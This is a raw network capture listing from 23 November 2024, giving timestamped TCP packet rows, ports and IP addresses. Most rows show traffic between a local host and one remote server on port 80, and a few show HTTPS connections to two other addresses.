Nov 23, 2024 15:22:25.489622116 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.489669085 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.489738941 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.490603924 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.490649939 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.490693092 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.490746021 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.491632938 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.491684914 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.491720915 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.491765022 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.492660999 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.492723942 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.492764950 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.492811918 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.493716955 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.493762970 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.493786097 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.493823051 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.494762897 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.494813919 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.494824886 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.494891882 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.495803118 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.495883942 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.495934010 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.496800900 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.496897936 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.496911049 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.496957064 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.497832060 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.497903109 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.497993946 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.498042107 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.498907089 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.498959064 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.499041080 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.499110937 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.499846935 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.499908924 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.499953985 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.500000954 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.500890970 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.500946045 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.501012087 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.501137018 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.501935959 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.501987934 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.502029896 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.502114058 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.502953053 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.503037930 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.503050089 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.503108978 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.504148006 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.504204988 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.504245996 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.504301071 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.504997969 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.505152941 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.505177975 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.505203962 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.506052017 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.506098986 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.506141901 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.506357908 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.507061958 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.507116079 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.507157087 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.507247925 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.508102894 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.508152008 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.508219004 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.508265018 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.509150028 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.509248018 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.509306908 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.510158062 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.510206938 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.510250092 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.510312080 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.511182070 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.511235952 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.511246920 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.511288881 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.512201071 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.512312889 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.512320042 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.512367964 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.513237000 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.513343096 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.513422012 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.513468027 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.514265060 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.514370918 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.514436960 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.515305042 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.515357018 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.515541077 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.515577078 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.516319990 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.516418934 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.516473055 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.517337084 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.517385006 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.517427921 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.517554998 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.596513987 CET	443	49805	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:25.597023964 CET	49805	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:25.597044945 CET	443	49805	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:25.597419977 CET	49805	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:25.597425938 CET	443	49805	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:25.665615082 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.665667057 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.665669918 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.665719032 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.666074038 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.666120052 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.666157961 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.666198969 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.667140961 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.667196035 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.667370081 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.668189049 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.668358088 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.668415070 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.668927908 CET	443	49804	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:25.669189930 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.669245958 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.669364929 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.669413090 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.669550896 CET	49804	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:25.669609070 CET	443	49804	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:25.669996977 CET	49804	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:25.670013905 CET	443	49804	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:25.670207024 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.670264959 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.670285940 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.670312881 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.671242952 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.671298981 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.671350002 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.671394110 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.672261953 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.672322035 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.672363043 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.672409058 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.673294067 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.673355103 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.673378944 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.673422098 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.674321890 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.674371004 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.674443960 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.674514055 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.675369024 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.675416946 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.675457954 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.675544024 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.676395893 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.676444054 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.676485062 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.676532984 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.677403927 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.677453041 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.677530050 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.677572012 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.678467035 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.678510904 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.678586960 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.678634882 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.679460049 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.679506063 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.679586887 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.679632902 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.680486917 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.680556059 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.680584908 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.680629015 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.681514025 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.681552887 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.681555033 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.681598902 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.682579041 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.682625055 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.682684898 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.682729959 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.683579922 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.683626890 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.683667898 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.683763027 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.684597015 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.684640884 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.684695959 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.684742928 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.685652018 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.685698032 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.685745001 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.685791969 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.686753035 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.686810017 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.686837912 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.686882019 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.687685966 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.687731028 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.687822104 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.687863111 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.688714981 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.688760996 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.688842058 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.688889980 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.689733982 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.689779997 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.689810038 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.689857006 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.690773010 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.690824032 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.690905094 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.690951109 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.691821098 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.691935062 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.691945076 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.691987038 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.692864895 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.692965031 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.693010092 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.693861961 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.693968058 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.694009066 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.694886923 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.695050001 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.695070028 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.695116043 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.695936918 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.696021080 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.696093082 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.696140051 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.696970940 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.697027922 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.697067976 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.697163105 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.697433949 CET	443	49801	172.67.223.140	192.168.2.4
Nov 23, 2024 15:22:25.697505951 CET	443	49801	172.67.223.140	192.168.2.4
Nov 23, 2024 15:22:25.697643042 CET	49801	443	192.168.2.4	172.67.223.140
Nov 23, 2024 15:22:25.697674036 CET	49801	443	192.168.2.4	172.67.223.140
Nov 23, 2024 15:22:25.697989941 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.698039055 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.698116064 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.698160887 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.699024916 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.699074030 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.699107885 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.699153900 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.700042963 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.700095892 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.700160027 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.700208902 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.701056004 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.701107025 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.701148987 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.701193094 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.702085972 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.702135086 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.702174902 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.702218056 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.703119040 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.703167915 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.703289986 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.703339100 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.704181910 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.704274893 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.704284906 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.704405069 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.705171108 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.705221891 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.705317020 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.705360889 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.706423998 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.706474066 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.706558943 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.706613064 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.707247019 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.707299948 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.707329988 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.707370043 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.708275080 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.708347082 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.708373070 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.708419085 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.709290028 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.709340096 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.709434032 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.709489107 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.710325956 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.710417986 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.710515022 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.710624933 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.711399078 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.711447001 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.711518049 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.711568117 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.712388039 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.712511063 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.712537050 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.712563038 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.713412046 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.713459015 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.713567019 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.713680983 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.714447975 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.714489937 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.714566946 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.714616060 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.715435028 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.715481043 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.715553999 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.715612888 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.716500998 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.716548920 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.716639996 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.716737032 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.717534065 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.717598915 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.717639923 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.717732906 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.718552113 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.718599081 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.718651056 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.718691111 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.719568014 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.719615936 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.812063932 CET	443	49806	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:25.814503908 CET	49806	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:25.814532995 CET	443	49806	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:25.814987898 CET	49806	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:25.815000057 CET	443	49806	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:25.866811037 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.866910934 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.866930008 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.866962910 CET	49795	80	192.168.2.4	185.215.113.16
